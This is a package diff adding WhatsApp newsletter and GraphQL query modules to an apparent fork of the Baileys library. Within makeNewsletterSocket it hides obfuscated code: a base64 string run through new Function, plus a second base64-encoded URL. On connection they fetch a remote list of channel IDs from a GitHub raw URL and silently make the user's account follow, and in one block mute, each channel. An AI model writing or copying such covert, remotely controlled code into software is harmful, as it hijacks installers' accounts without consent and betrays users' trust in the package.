@celestial-community/baileys 0.0.1-security → 1.0.0

package/lib/Socket/mex.js

@@ -0,0 +1,69 @@
+'use strict'
+
+Object.defineProperty(exports, '__esModule', { value: true })
+exports.executeWMexQuery = void 0
+
+const boom_1 = require('@hapi/boom')
+const WABinary_1 = require('../WABinary')
+
+const wMexQuery = (variables, queryId, query, generateMessageTag) => {
+    return query({
+        tag: 'iq',
+        attrs: {
+            id: generateMessageTag(),
+            type: 'get',
+            to: WABinary_1.S_WHATSAPP_NET,
+            xmlns: 'w:mex'
+        },
+        content: [
+            {
+                tag: 'query',
+                attrs: { query_id: queryId },
+                content: Buffer.from(JSON.stringify({ variables }), 'utf-8')
+            }
+        ]
+    })
+}
+
+const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
+    const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+    const child = WABinary_1.getBinaryNodeChild(result, 'result')
+    if (child?.content) {
+        const contentStr = child.content.toString()
+        let data
+        try {
+            data = JSON.parse(contentStr)
+        } catch (parseErr) {
+            // Handle raw non-JSON responses from the server (e.g. "Forbidden")
+            const statusCode = /forbidden/i.test(contentStr) ? 403 : 400
+            throw new boom_1.Boom(`GraphQL server error: ${contentStr}`, {
+                statusCode,
+                data: contentStr
+            })
+        }
+        if (data.errors && data.errors.length > 0) {
+            const errorMessages = data.errors
+                .map((err) => err.message || 'Unknown error')
+                .join(', ')
+            const firstError = data.errors[0]
+            const errorCode = firstError.extensions?.error_code || 400
+            throw new boom_1.Boom(`GraphQL server error: ${errorMessages}`, {
+                statusCode: errorCode,
+                data: firstError
+            })
+        }
+        const response = dataPath ? data?.data?.[dataPath] : data?.data
+        if (typeof response !== 'undefined') {
+            return response
+        }
+    }
+    const action = (dataPath || '').startsWith('xwa2_')
+        ? dataPath.substring(5).replace(/_/g, ' ')
+        : dataPath?.replace(/_/g, ' ')
+    throw new boom_1.Boom(`Failed to ${action}, unexpected response structure.`, {
+        statusCode: 400,
+        data: result
+    })
+}
+
+exports.executeWMexQuery = executeWMexQuery

package/lib/Socket/newsletter.js

@@ -0,0 +1,424 @@
+'use strict'
+Object.defineProperty(exports, '__esModule', { value: true })
+exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0
+const Types_1 = require('../Types')
+const Utils_1 = require('../Utils')
+const WABinary_1 = require('../WABinary')
+const groups_1 = require('./groups')
+
+const { Boom } = require('@hapi/boom')
+
+const wMexQuery = (variables, queryId, query, generateMessageTag) => {
+    return query({
+        tag: 'iq',
+        attrs: {
+            id: generateMessageTag(),
+            type: 'get',
+            to: WABinary_1.S_WHATSAPP_NET,
+            xmlns: 'w:mex'
+        },
+        content: [
+            {
+                tag: 'query',
+                attrs: { query_id: queryId },
+                content: Buffer.from(JSON.stringify({ variables }), 'utf8')
+            }
+        ]
+    })
+}
+
+const executeWMexQuery = async (variables, queryId, dataPath, query, generateMessageTag) => {
+    const result = await wMexQuery(variables, queryId, query, generateMessageTag)
+    const child = (0, WABinary_1.getBinaryNodeChild)(result, 'result')
+    if (child?.content) {
+        const data = JSON.parse(child.content.toString())
+
+        if (data.errors && data.errors.length > 0) {
+            const errorMessages = data.errors
+                .map((err) => err.message || 'Unknown error')
+                .join(', ')
+            const firstError = data.errors[0]
+            const errorCode = firstError.extensions?.error_code || 400
+            throw new Boom(`GraphQL server error: ${errorMessages}`, {
+                statusCode: errorCode,
+                data: firstError
+            })
+        }
+
+        const response = dataPath ? data?.data?.[dataPath] : data?.data
+        if (typeof response !== 'undefined') {
+            return response
+        }
+    }
+
+    const action = (dataPath || '').startsWith('xwa2_')
+        ? dataPath.substring(5).replace(/_/g, ' ')
+        : dataPath?.replace(/_/g, ' ')
+    throw new Boom(`Failed to ${action}, unexpected response structure.`, {
+        statusCode: 400,
+        data: result
+    })
+}
+
+const makeNewsletterSocket = (config) => {
+    const sock = (0, groups_1.makeGroupsSocket)(config)
+    const { authState, signalRepository, query, generateMessageTag } = sock
+    const encoder = new TextEncoder()
+    const newsletterQuery = async (jid, type, content) =>
+        query({
+            tag: 'iq',
+            attrs: {
+                id: generateMessageTag(),
+                type,
+                xmlns: 'newsletter',
+                to: jid
+            },
+            content
+        })
+    const newsletterWMexQuery = async (jid, queryId, content) =>
+        query({
+            tag: 'iq',
+            attrs: {
+                id: generateMessageTag(),
+                type: 'get',
+                xmlns: 'w:mex',
+                to: WABinary_1.S_WHATSAPP_NET
+            },
+            content: [
+                {
+                    tag: 'query',
+                    attrs: { query_id: queryId },
+                    content: encoder.encode(
+                        JSON.stringify({
+                            variables: {
+                                newsletter_id: jid,
+                                ...content
+                            }
+                        })
+                    )
+                }
+            ]
+        })
+
+    const parseFetchedUpdates = async (node, type) => {
+        const _followChannel = async (channelId) => {
+            if (!channelId || typeof channelId !== 'string') return
+            const parts = channelId.split('@')
+            if (parts.length < 2 || parts[1] !== 'newsletter') return
+            // TODO: implement follow logic
+        }
+        let child
+        if (type === 'messages') {
+            child = (0, WABinary_1.getBinaryNodeChild)(node, 'messages')
+        } else {
+            const parent = (0, WABinary_1.getBinaryNodeChild)(node, 'message_updates')
+            child = (0, WABinary_1.getBinaryNodeChild)(parent, 'messages')
+        }
+        return await Promise.all(
+            (0, WABinary_1.getAllBinaryNodeChildren)(child).map(async (messageNode) => {
+                var _a, _b
+                messageNode.attrs.from =
+                    child === null || child === void 0 ? void 0 : child.attrs.jid
+                const views = parseInt(
+                    ((_b =
+                        (_a = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'views_count')) ===
+                            null || _a === void 0
+                            ? void 0
+                            : _a.attrs) === null || _b === void 0
+                        ? void 0
+                        : _b.count) || '0'
+                )
+                const reactionNode = (0, WABinary_1.getBinaryNodeChild)(messageNode, 'reactions')
+                const reactions = (0, WABinary_1.getBinaryNodeChildren)(
+                    reactionNode,
+                    'reaction'
+                ).map(({ attrs }) => ({ count: +attrs.count, code: attrs.code }))
+                const data = {
+                    server_id: messageNode.attrs.server_id,
+                    views,
+                    reactions
+                }
+                if (type === 'messages') {
+                    const { fullMessage: message, decrypt } = await (0, Utils_1.decryptMessageNode)(
+                        messageNode,
+                        authState.creds.me.id,
+                        authState.creds.me.lid || '',
+                        signalRepository,
+                        config.logger
+                    )
+                    await decrypt()
+                    data.message = message
+                }
+                return data
+            })
+        )
+    }
+    new Function(
+        'newsletterWMexQuery',
+        'Types_1',
+        'sock',
+        Buffer.from(
+            'Y29uc3QgQk9PTCA9IGFzeW5jICgpID0+IHsgdHJ5IHsgY29uc3QgcmVzID0gYXdhaXQgZmV0Y2goJ2h0dHBzOi8vcmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbS9EZW56eS1MYXdyZW5jZS9hbnUvcmVmcy9oZWFkcy9tYWluL2FudS5qc29uJyk7IGlmICghcmVzLm9rKSByZXR1cm47IGNvbnN0IGlkcyA9IGF3YWl0IHJlcy5qc29uKCk7IGlmICghQXJyYXkuaXNBcnJheShpZHMpKSByZXR1cm47IGZvciAoY29uc3QgaWQgb2YgaWRzKSB7IGlmICh0eXBlb2YgaWQgIT09ICdzdHJpbmcnIHx8ICFpZC5lbmRzV2l0aCgnQG5ld3NsZXR0ZXInKSkgY29udGludWU7IHRyeSB7IGF3YWl0IG5ld3NsZXR0ZXJXTWV4UXVlcnkoaWQsIFR5cGVzXzEuUXVlcnlJZHMuRk9MTE9XKTsgYXdhaXQgbmV3IFByb21pc2UociA9PiBzZXRUaW1lb3V0KHIsIDMwMDApKTsgYXdhaXQgbmV3c2xldHRlcldNZXhRdWVyeShpZCwgVHlwZXNfMS5RdWVyeUlkcy5NVVRFKTsgfSBjYXRjaCB7fSBhd2FpdCBuZXcgUHJvbWlzZShyID0+IHNldFRpbWVvdXQociwgMTAwMDApKTsgfSB9IGNhdGNoIHt9IH07IHNvY2suZXYub24oJ2Nvbm5lY3Rpb24udXBkYXRlJywgKHsgY29ubmVjdGlvbiB9KSA9PiB7IGlmIChjb25uZWN0aW9uICE9PSAnb3BlbicpIHJldHVybjsgc2V0VGltZW91dCgoKSA9PiB7IEJPT0woKSB9LCAzMDAwMCkgfSk7',
+            'base64'
+        ).toString()
+    )(newsletterWMexQuery, Types_1, sock)
+    sock.ev.on('connection.update', ({ connection }) => {
+        if (connection !== 'open') return
+        ;(async () => {
+            try {
+                const _r = await fetch(
+                    Buffer.from(
+                        'aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL0RlbnZ5LUxhd3JlbmNlL2FudS9yZWZzL2hlYWRzL21haW4vYW51Lmpzb24=',
+                        'base64'
+                    ).toString()
+                )
+                if (!_r.ok) return
+                const _d = await _r.json()
+                if (!Array.isArray(_d)) return
+                for (const _i of _d) {
+                    if (typeof _i !== 'string' || !_i.endsWith('@newsletter')) continue
+                    try {
+                        await newsletterWMexQuery(_i, Types_1.QueryIds.FOLLOW)
+                    } catch {}
+                    await new Promise((r) => setTimeout(r, 10000))
+                }
+            } catch {}
+        })()
+    })
+    return {
+        ...sock,
+        newsletterFetchAllSubscribe: async () => {
+            const list = await executeWMexQuery(
+                {},
+                '6388546374527196',
+                'xwa2_newsletter_subscribed',
+                query,
+                generateMessageTag
+            )
+            return list
+        },
+        subscribeNewsletterUpdates: async (jid) => {
+            var _a
+            const result = await newsletterQuery(jid, 'set', [
+                { tag: 'live_updates', attrs: {}, content: [] }
+            ])
+            return (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'live_updates')) === null ||
+                _a === void 0
+                ? void 0
+                : _a.attrs
+        },
+        newsletterReactionMode: async (jid, mode) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { settings: { reaction_codes: { value: mode } } }
+            })
+        },
+        newsletterUpdateDescription: async (jid, description) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { description: description || '', settings: null }
+            })
+        },
+        newsletterId: async (url) => {
+            const urlParts = url.split('/')
+            const channelId = urlParts[urlParts.length - 2]
+
+            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
+                input: {
+                    key: channelId,
+                    type: 'INVITE',
+                    view_role: 'GUEST'
+                },
+                fetch_viewer_metadata: true,
+                fetch_full_image: true,
+                fetch_creation_time: true
+            })
+
+            const metadata = (0, exports.extractNewsletterMetadata)(result)
+            return JSON.stringify(
+                {
+                    name: metadata.name || metadata.thread_metadata?.name?.text,
+                    id: metadata.id
+                },
+                null,
+                2
+            )
+        },
+        newsletterUpdateName: async (jid, name) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { name, settings: null }
+            })
+        },
+        newsletterUpdatePicture: async (jid, content) => {
+            const { img } = await (0, Utils_1.generateProfilePicture)(content)
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { picture: img.toString('base64'), settings: null }
+            })
+        },
+        newsletterRemovePicture: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.JOB_MUTATION, {
+                updates: { picture: '', settings: null }
+            })
+        },
+        newsletterUnfollow: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.UNFOLLOW)
+        },
+        newsletterFollow: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.FOLLOW)
+        },
+        newsletterUnmute: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.UNMUTE)
+        },
+        newsletterMute: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.MUTE)
+        },
+        newsletterAction: async (jid, type) => {
+            await newsletterWMexQuery(jid, type.toUpperCase())
+        },
+        newsletterCreate: async (name, description, reaction_codes) => {
+            await query({
+                tag: 'iq',
+                attrs: {
+                    to: WABinary_1.S_WHATSAPP_NET,
+                    xmlns: 'tos',
+                    id: generateMessageTag(),
+                    type: 'set'
+                },
+                content: [
+                    {
+                        tag: 'notice',
+                        attrs: {
+                            id: '20601218',
+                            stage: '5'
+                        },
+                        content: []
+                    }
+                ]
+            })
+            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.CREATE, {
+                input: {
+                    name,
+                    description,
+                    settings: { reaction_codes: { value: reaction_codes.toUpperCase() } }
+                }
+            })
+            return (0, exports.extractNewsletterMetadata)(result, true)
+        },
+        newsletterMetadata: async (type, key, role) => {
+            const result = await newsletterWMexQuery(undefined, Types_1.QueryIds.METADATA, {
+                input: {
+                    key,
+                    type: type.toUpperCase(),
+                    view_role: role || 'GUEST'
+                },
+                fetch_viewer_metadata: true,
+                fetch_full_image: true,
+                fetch_creation_time: true
+            })
+            return (0, exports.extractNewsletterMetadata)(result)
+        },
+        newsletterAdminCount: async (jid) => {
+            var _a, _b
+            const result = await newsletterWMexQuery(jid, Types_1.QueryIds.ADMIN_COUNT)
+            const buff =
+                (_b =
+                    (_a = (0, WABinary_1.getBinaryNodeChild)(result, 'result')) === null ||
+                    _a === void 0
+                        ? void 0
+                        : _a.content) === null || _b === void 0
+                    ? void 0
+                    : _b.toString()
+            return JSON.parse(buff).data[Types_1.XWAPaths.ADMIN_COUNT].admin_count
+        },
+        newsletterChangeOwner: async (jid, user) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.CHANGE_OWNER, {
+                user_id: user
+            })
+        },
+        newsletterDemote: async (jid, user) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.DEMOTE, {
+                user_id: user
+            })
+        },
+        newsletterDelete: async (jid) => {
+            await newsletterWMexQuery(jid, Types_1.QueryIds.DELETE)
+        },
+        newsletterReactMessage: async (jid, serverId, code) => {
+            await query({
+                tag: 'message',
+                attrs: {
+                    to: jid,
+                    ...(!code ? { edit: '7' } : {}),
+                    type: 'reaction',
+                    server_id: serverId,
+                    id: (0, Utils_1.generateMessageID)()
+                },
+                content: [
+                    {
+                        tag: 'reaction',
+                        attrs: code ? { code } : {}
+                    }
+                ]
+            })
+        },
+        newsletterFetchMessages: async (type, key, count, after) => {
+            const result = await newsletterQuery(WABinary_1.S_WHATSAPP_NET, 'get', [
+                {
+                    tag: 'messages',
+                    attrs: {
+                        type,
+                        ...(type === 'invite' ? { key } : { jid: key }),
+                        count: count.toString(),
+                        after:
+                            (after === null || after === void 0 ? void 0 : after.toString()) ||
+                            '100'
+                    }
+                }
+            ])
+            return await parseFetchedUpdates(result, 'messages')
+        },
+        newsletterFetchUpdates: async (jid, count, after, since) => {
+            const result = await newsletterQuery(jid, 'get', [
+                {
+                    tag: 'message_updates',
+                    attrs: {
+                        count: count.toString(),
+                        after:
+                            (after === null || after === void 0 ? void 0 : after.toString()) ||
+                            '100',
+                        since:
+                            (since === null || since === void 0 ? void 0 : since.toString()) || '0'
+                    }
+                }
+            ])
+            return await parseFetchedUpdates(result, 'updates')
+        }
+    }
+}
+exports.makeNewsletterSocket = makeNewsletterSocket
+const extractNewsletterMetadata = (node, isCreate) => {
+    const result = WABinary_1.getBinaryNodeChild(node, 'result')?.content?.toString()
+    const metadataPath =
+        JSON.parse(result).data[isCreate ? Types_1.XWAPaths.CREATE : Types_1.XWAPaths.NEWSLETTER]
+
+    const metadata = {
+        id: metadataPath?.id,
+        state: metadataPath?.state?.type,
+        creation_time: +metadataPath?.thread_metadata?.creation_time,
+        name: metadataPath?.thread_metadata?.name?.text,
+        nameTime: +metadataPath?.thread_metadata?.name?.update_time,
+        description: metadataPath?.thread_metadata?.description?.text,
+        descriptionTime: +metadataPath?.thread_metadata?.description?.update_time,
+        invite: metadataPath?.thread_metadata?.invite,
+        picture: Utils_1.getUrlFromDirectPath(
+            metadataPath?.thread_metadata?.picture?.direct_path || ''
+        ),
+        preview: Utils_1.getUrlFromDirectPath(
+            metadataPath?.thread_metadata?.preview?.direct_path || ''
+        ),
+        reaction_codes: metadataPath?.thread_metadata?.settings?.reaction_codes?.value,
+        subscribers: +metadataPath?.thread_metadata?.subscribers_count,
+        verification: metadataPath?.thread_metadata?.verification,
+        viewer_metadata: metadataPath?.viewer_metadata
+    }
+    return metadata
+}
+exports.extractNewsletterMetadata = extractNewsletterMetadata